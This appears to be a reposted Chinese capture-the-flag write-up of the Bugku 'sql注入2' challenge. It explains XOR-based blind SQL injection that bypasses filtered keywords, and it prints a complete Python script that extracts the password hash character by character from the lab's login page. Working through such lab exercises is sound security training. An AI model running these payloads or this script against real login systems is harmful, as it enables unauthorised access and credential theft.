我是靠谱客的博主 甜蜜咖啡豆,最近开发中收集的这篇文章主要介绍bugku-web-sql注入2,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

发现是一个经典的sql注入主界面~
在这里插入图片描述
题目一开始就提示说过全tm都过滤了,但还是跑跑字典看嘛
抓包 => 爆破如下

在这里插入图片描述
发现空格,逗号,注释,or,and等通通返回提示非法字符QAQ
但所幸^没有被过滤,于是尝试异或注入
构造payload(uname)如下
usera’^(length(database())=1)^'userb

解释一下为啥,猜测这样的payload能形成的sql语句应为
… where uname=‘usera’^(length(database())=1)^‘userb’ …

注意这里的^优先级高于=,且字符串在与bool类型进行异或时,会先强制类型转换为数字,如’233dktb’会转换为233,'usera’和’userb’无数字前缀,所以转化为0
于是payload等价于0^(length(database())=1)^0,当中间返回true时
达到uname=true效果,反之为uname=false效果

再注意一个点,因为这里是字符串类型的uname和bool做比较,所以uname=false能过所有的非数字前缀uname验证,此时页面回显password error,uname=true则回显username error(这估计是因为靶场数据库里没有数字前缀的uname吧)
在这里插入图片描述就这么成功爆出database()长度为3
接下来构造payload=usera’^(ascii(substr((database())from(1)))=99)^'userb
(Tips:本题for被过滤,因此采用省略for的方法拿到从指定位到结束位的字符串,又由于ascii函数的参数如果是个字符串,只返回第一个字符的ascii值,所以构造如上payload)
进一步爆破出database()每一位的ascii值
爆完库名,很自然的想接下来继续爆表名字段名拿flag
但是
但是
但是
我们悲催地发现过滤了or的同时,
information_schema也被ban了qaq
所以选择放弃这种做法(然后你告诉我上文全是废话???(狗头保命)

又想了贼久,猜测sql语句可能是 … where uname=$_POST[‘uname’] and passwd=$_POST[‘passwd’];
也就是说我们猜测数据库里的字段名也叫passwd
这样就可以在uname里构造payload来爆出passwd,从而成功登陆
懒得写了直接贴写的脚本

import requests
url = "http://123.206.87.240:8007/web2/login.php"
s = requests.session()
passwd_len = 1
while(1):
uname = "ua'^(length(passwd)=" + str(passwd_len) + ")^'ub"
# length()=true => uname=true => "username error!"
passwd = "nmdwsm"
payload = {'uname':uname,'passwd':passwd}
r = s.post(url, data = payload)
r.encoding = r.apparent_encoding
if("username error!!" in r.text):
break
passwd_len += 1
print("Length of passwd:" + str(passwd_len))
key = ""
for i in range(1, passwd_len + 1):
for value in range(32, 127):
uname = "ua'^(ascii(substr((passwd)from(" + str(i) + ")))=" + str(value) + ")^'ub"
passwd = "nmdwsm"
payload = {'uname':uname,'passwd':passwd}
r = s.post(url, data = payload)
r.encoding = r.apparent_encoding
#print(r.text)
if("username error!!" in r.text):
key += chr(value)
break
print("Passwd:" + key)

在这里插入图片描述
拿到这玩意儿,因为一般mysql里存储passwd用md5,又发现它长度32,于是md5解密拿到password [admin123]

登陆进后台,页面如下
在这里插入图片描述
输入ls,拿到flag(液

感觉还是脑洞要大qaq
btw这题看了下别人的wp,发现还有种解法是源码泄露,这里就不写辣
希望大噶早日成为练习时长两年半的渗透测试练习生(不是

最后

以上就是甜蜜咖啡豆为你收集整理的bugku-web-sql注入2的全部内容,希望文章能够帮你解决bugku-web-sql注入2所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(31)

评论列表共有 0 条评论

立即
投稿
返回
顶部